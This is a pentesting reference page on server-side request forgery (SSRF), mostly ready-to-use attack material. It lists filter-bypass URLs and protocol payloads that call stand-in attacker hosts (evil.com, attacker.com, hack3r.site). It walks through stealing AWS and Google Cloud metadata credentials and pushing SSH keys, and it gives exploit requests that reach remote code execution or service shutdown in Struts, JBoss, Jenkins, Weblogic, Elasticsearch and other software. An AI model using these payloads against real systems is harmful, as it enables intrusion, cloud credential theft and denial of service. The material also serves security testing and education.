Pentesting

SSRF (Server Side Request Forgery)

What is Server Side Request Forgery?

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. (From here)

What you should try to do

  • Accessing to local files (file://)

  • Trying to access to local IP

    • Local IP bypass

    • DNS spoofing (domains pointing to 127.0.0.1)

    • DNS Rebinding (resolves to an IP and next time to a local IP: http://rbnd.gl0.eu/dnsbin). This is useful to bypass configurations which resolves the given domain and check it against a white-list and then try to access it again (as it has to resolve the domain again a different IP can be served by the DNS). More info here.

  • Trying to make an internal assets discovery and internal port scan.

  • Accessing private content (filtered by IP or only accessible locally, like /admin path).

Internet Exfiltration Services

You could use burpcollab or pingb for example.

Bypass restrictions

Basic bypass localhost

## Localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://0
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪
## CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
## Decimal bypass
http://2130706433/ = http://127.0.0.1
http://017700000001 = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
## Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
##Domain FUZZ bypass (from https://github.com/0x221b/Wordlists/blob/master/Attacks/SSRF/Whitelist-bypass.txt)
http://{domain}@127.0.0.1
http://127.0.0.1#{domain}
http://{domain}.127.0.0.1
http://127.0.0.1/{domain}
http://127.0.0.1/?d={domain}
https://{domain}@127.0.0.1
https://127.0.0.1#{domain}
https://{domain}.127.0.0.1
https://127.0.0.1/{domain}
https://127.0.0.1/?d={domain}
http://{domain}@localhost
http://localhost#{domain}
http://{domain}.localhost
http://localhost/{domain}
http://localhost/?d={domain}
http://127.0.0.1%00{domain}
http://127.0.0.1?{domain}
http://127.0.0.1///{domain}
https://127.0.0.1%00{domain}
https://127.0.0.1?{domain}
https://127.0.0.1///{domain}

Bypass using DNS -> localhost

localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1

Other bypasses

## Malformed URLs and rare addresses
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1
## Tricks
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
filter_var() php function: 0://evil.com:80;http://google.com:80/
## Weakparser
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/

Bypass domain regexp

Go to the proposed bypasses for Referer header in CSRF

Bypass via open redirect

If the server is correctly protected you could bypass all the restrictions by exploiting an Open Redirect inside the web page. Because the webpage will allow SSRF to the same domain and probably will follow redirects, you can exploit the Open Redirect to make the server to access internal any resource. Read more here: https://portswigger.net/web-security/ssrf

SSRF via Referrer header

Some applications employ server-side analytics software that tracks visitors. This software often logs the Referrer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referrer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities. To discover this kind of "hidden" vulnerabilities you could use the plugin "Collaborator Everywhere" from Burp.

Server browser enumeration

You can use applications like http://webhook.site to find which browser is being used.

Exploitation

file://

file:///etc/passwd

dict://

The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

SFTP://

A network protocol used for secure file transfer over secure shell

ssrf.php?url=sftp://evil.com:11111/

TFTP://

Trivial File Transfer Protocol, works over UDP

ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

LDAP://

Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher://

Using this protocol you can specify the ip, port and bytes you want the listener to send. Then, you can basically exploit a SSRF to communicate with any TCP server (but you need to know how to talk to the service first). Fortunately, you can use https://github.com/tarunkant/Gopherus to already create payloads for several services.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%[email protected]%3E%250d%250aRCPT%20TO%3A%[email protected]%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%[email protected]%3E%250d%250aTo%3A%20%[email protected]%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<[email protected]>
DATA
From: [Hacker] <[email protected]>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Back connect to 1337

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

SMTP

From https://twitter.com/har1sec/status/1182255952055164929: 1. connect with SSRF on smtp localhost:25 2. from the first line get the internal domain name 220 http://blabla.internaldomain.com ESMTP Sendmail 3. search http://internaldomain.com on github, find subdomains 4. connect

SSRF with Command Injection

It might be worth trying a payload like: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Exploiting PDFs Rendering

If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here.

From SSRF to DoS

Create several sessions and try to download heavy files exploiting the SSRF from the sessions.

Abusing DNS Rebidding + TLS Session ID/Session ticket

Requirements:

  • SSRF

  • Outbound TLS sessions

  • Stuff on local ports

Attack:

  1. Ask the user/bot access a domain controlled by the attacker

  2. The TTL of the DNS is 0 sec (so the victim will check the IP of the domain again soon)

  3. A TLS connection is created between the victim and the domain of the attacker. The attacker introduces the payload inside the Session ID or Session Ticket.

  4. The domain will start an infinite loop of redirects against himself. The goal of this is to make the user/bot access the domain until it perform again a DNS request of the domain.

  5. In the DNS request a private IP address is given now (127.0.0.1 for example)

  6. The user/bot will try to reestablish the TLS connection and in order to do so it will send the Session ID/Ticket ID (where the payload of the attacker was contained). So congratulations you managed to ask the user/bot attack himself.

Note that during this attack, if you want to attack localhost:11211 (memcache) you need to make the victim establish the initial connection with www.attacker.com:11211 (the port must always be the same). To perform this attack you can use the tool: https://github.com/jmdx/TLS-poison/ For more information take a look to the talk where this attack is explained: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Exploitation in Cloud

Abusing SSRF in AWS EC2 environment

169.254.169.254 - Metadata Address

Metadata of the basic virtual machines from AWS (called EC2) can be retrieved from the VM accessing the url: http://169.254.169.254 (information about the metadata here).

The IP address 169.254.169.254 is a magic IP in the cloud world. AWS, Azure, Google, DigitalOcean and others use this to allow cloud resources to find out metadata about themselves. Some, such as Google, have additional constraints on the requests, such as requiring it to use Metadata-Flavor: Google as an HTTP header and refusing requests with an X-Forwarded-For header. AWS has no constraints.

Sending a GET requests to the following endpoint will dump a list of roles that are attached to the current EC2 instance:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

If you want to access your S3 bucket you would normally hard-code your API keys into your application. Hard-coding clear text passwords is a bad idea. This is why you can assign your EC2 instance a role which can be used to access your S3 bucket. These credentials are automatically rotated by AWS and can be access thought the metadata API.

Once you get a list of roles attached to the EC2 instance you can dump their credentials by making a GET requests to the following URL:

http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME_HERE>

As an example you can visit: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

The response should look something like this:

{
"Code" : "Success",
"LastUpdated" : "2019-08-03T20:42:03Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA5A6IYGGDLBWIFH5UQ",
"SecretAccessKey" : "sMX7//Ni2tu2hJua/fOXGfrapiq9PbyakBcJunpyR",
"Token" : "AgoJb3JpZ2luX2VjEH0aCXVzLWVhc3QtMSJHMEUCIQDFoFMUFs+lth0JM2lEddR/8LRHwdB4HiT1MBpEg8d+EAIgCKqMjkjdET/XjgYGDf9/eoNh1+5Xo/tnmDXeDE+3eKIq4wMI9v//////////ARAAGgw4OTUzODQ4MTU4MzAiDEF3/SQw0vAVzHKrgCq3A84uZvhGAswagrFjgrWAvIj4cJd6eI5Gcje09FyfRPmALKJymfQgpTQN9TtC/sBhIyICfni8JJvGesQZGi9c0ZFIWqdlmM/2rdZ6GaqcZY9V+0LspbwiDK0FUjrRcquBVswSlxWs8Tr0Uhpka20mUQOBhovmVyXNzyTQUQnBE9qgFLbYY+t86yUXmXMXxGPd4sWuLgkoCF2iPlMkgUwZq8hZvoiVf7TVQU32sgstKN7ozJiJcgTBpa6/batscGBtNpck4LOvHzNwwYv/FuVkpC70bPhqNXVxMEcpwt4s7RkHHowdFlNpnPpm57dfAYwZwoklWJdvtqFQ0tZHusZ65vJqyk5cZ8f3P/Cf7UlzoZPsIsarWcgfiDvkQliU9fY6Brt7jyjrF5h7oJbW/LUS4R9SDp+qKMtUY2JmLZRovsW4GfhfLJWv7wrW81QZVC8rBKLzWFRTLRkhlTFsS7A5JscuKoORyDxGQq/pGRsE30effdS9G1xNmzKwn45/V0XsilhTE7pOJGGopuLfBo5KD46hVS9v1iBuvxrVxsHFz7mnD/GKiwi1hbFAKEvypagZ28qEJaarNvAdi2QOowjuOX6gU6tAFrfFVBb6ZTI4btIjHNNoT0TFW5iYD0dkD+csqC4nTVpnAG/FFBk+CAHdy5Gh/aBISO7OQF9xKJSXkd+Syf62pg5XiMseL3n2+2+IWdDgKwhZYxeVlMbX88QYX3P9sX+OWHWidAVgTQhZw3xJ+VBV33EKgJ4b8Bk6mgo0kiB1hnoN0KX8RXr1axpYnJv2GHb8h/det89iwpyk77+8YcEvRc+DGTLIcUIxDoirgck9bpP3EBXfs=",
"Expiration" : "2019-08-04T03:16:50Z"
}

You can then take those credentials and use them with the AWS CLI. This will allow you to do anything that role has permissions to do. If the role has improper permissions set (Most likely) you will be able to do all kinds of things, you might even be able to take over their entire cloud network.

To take advantage of the new credentials, you will need to crate a new AWS profile like this one:

[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Notice the aws_session_token, this is indispensable for the profile to work. Information taken from: http://ghostlulz.com/ssrf-aws-credentials/ (read that post for further information). Another possible interesting place where you can find credentials is in http://169.254.169.254/user-data

PACU can be used with the discovered credentials to find out your privileges and try to escalate privileges

SSRF in AWS ECS (Container Service) credentials

ECS, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in ECS, the metadata endpoints change.

If you access http://169.254.170.2/v2/credentials/<GUID> you will find the credentials of the ECS machine. But first you need to find the <GUID> . To find the <GUID> you need to read the environ variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI inside the machine. You could be able to read it exploiting an Path Traversal to file:///proc/self/environ The mentioned http address should give you the AccessKey, SecretKey and token.

SSRF URL for AWS Elastic Beanstalk

We retrieve the accountId and region from the API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

We then retrieve the AccessKeyId, SecretAccessKey, and Token from the API.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Then we use the credentials with aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

SSRF URL for Google Cloud

Requires the header “Metadata-Flavor: Google” or “X-Google-Metadata-Request: True”

http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id

Google allows recursive pulls

http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true

Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

Interesting files to pull out:

Add an SSH key

Extract the token

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Check the scope of the token

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

Now push the SSH key.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

SSRF URL for Digital Ocean

Documentation available at https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

SSRF URL for Packetcloud

Documentation available at https://metadata.packet.net/userdata

SSRF URL for Azure

Limited, maybe more exists? https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/

http://169.254.169.254/metadata/v1/maintenance

Update Apr 2017, Azure has more support; requires the header “Metadata: true” https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service

http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

SSRF URL for OpenStack/RackSpace

(header required? unknown)

http://169.254.169.254/openstack

SSRF URL for HP Helion

(header required? unknown)

http://169.254.169.254/2009-04-04/meta-data/

SSRF URL for Oracle Cloud

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

SSRF URL for Alibaba

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

SSRF URL for Kubernetes ETCD

Can contain API keys and internal ip and ports

curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true

SSRF URL for Docker

http://127.0.0.1:2375/v1.24/containers/jsonSimple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json

SSRF URL for Rancher

curl http://rancher-metadata/<version>/<path>

Blind SSRF

The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities.

Detect SSRF

You can use https://github.com/teknogeek/ssrf-sheriff to create an HTTP server that will respond correctly to a lot of different requests (GET, POST, PTU, DELETE, JSON, TXT, GIF, MP3...).

To practice

Vulnerable Platforms

This section was copied from https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/

Elasticsearch

Commonly bound port: 9200

When Elasticsearch is deployed internally, it usually does not require authentication.

If you have a partially blind SSRF where you can determine the status code, check to see if the following endpoints return a 200:

/_cluster/health
/_cat/indices
/_cat/health

If you have a blind SSRF where you can send POST requests, you can shut down the Elasticsearch instance by sending a POST request to the following path:

Note: the _shutdown API has been removed from Elasticsearch version 2.x. and up. This only works in Elasticsearch 1.6 and below:

/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown

Weblogic

Commonly bound ports: 80, 443 (SSL), 7001, 8888

SSRF Canary: UDDI Explorer (CVE-2014-4210)

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

This also works via GET:

http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

This endpoint is also vulnerable to CRLF injection:

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

Will result in the following request:

[email protected]:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>

SSRF Canary: CVE-2020-14883

Taken from here.

Linux:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Windows:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Hashicorp Consul

Commonly bound ports: 8500, 8501 (SSL)

Writeup can be found here.

Shellshock

Commonly bound ports: 80, 443 (SSL), 8080

In order to effectively test for Shellshock, you may need to add a header containing the payload. The following CGI paths are worth trying:

Short list of CGI paths to test:

Gist containing paths.

SSRF Canary: Shellshock via User Agent

User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY

Apache Druid

Commonly bound ports: 80, 8080, 8888, 8082

See the API reference for Apache Druid here.

If you can view the status code, check the following paths to see if they return a 200 status code:

/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus

Shutdown tasks, requires you to guess task IDs or the datasource name:

/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

Shutdown supervisors on Apache Druid Overlords:

/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown

Apache Solr

Commonly bound port: 8983

SSRF Canary: Shards Parameter

Taken from here.

/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

SSRF Canary: Solr XXE (2017)

Apache Solr 7.0.1 XXE (Packetstorm)

/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}

RCE via dataImportHandler

Research on RCE via dataImportHandler

PeopleSoft

Commonly bound ports: 80,443 (SSL)

Taken from this research here.

SSRF Canary: XXE #1

POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>

SSRF Canary: XXE #2

POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">

Apache Struts

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

Taken from here.

SSRF Canary: Struts2-016:

Append this to the end of every internal endpoint/URL you know of:

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

Taken from here.

SSRF Canary: Deploy WAR from URL

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

Confluence

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

SSRF Canary: Sharelinks (Confluence versions released from 2016 November and older)

/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

Atlassian Security Ticket OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

Jira

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)

Atlassian Security Ticket OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

Atlassian Security Ticket JRASERVER-69793

/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]

Other Atlassian Products

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

SSRF Canary: iconUriServlet (CVE-2017-9506):

  • Bamboo < 6.0.0

  • Bitbucket < 4.14.4

  • Crowd < 2.11.2

  • Crucible < 4.3.2

  • Fisheye < 4.3.2

Atlassian Security Ticket OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

Commonly bound port: 4242

OpenTSDB Remote Code Execution

SSRF Canary: curl via RCE

/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

Jenkins

Commonly bound ports: 80,443 (SSL),8080,8888

Great writeup here.

SSRF Canary: CVE-2018-1000600

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

RCE

Follow the instructions here to achieve RCE via GET: Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!

/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/[email protected](disableChecksums=true)%[email protected](name='orange.tw', root='http://SSRF_CANARY/')%[email protected](group='tw.orange', module='poc', version='1')%0aimport Orange;

RCE via Groovy

cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

Hystrix Dashboard

Commonly bound ports: 80,443 (SSL),8080

Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6.

SSRF Canary: CVE-2020-5412

/proxy.stream?origin=http://SSRF_CANARY/

W3 Total Cache

Commonly bound ports: 80,443 (SSL)

W3 Total Cache 0.9.2.6-0.9.3

SSRF Canary: CVE-2019-6715

This needs to be a PUT request:

PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host:
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

SSRF Canary

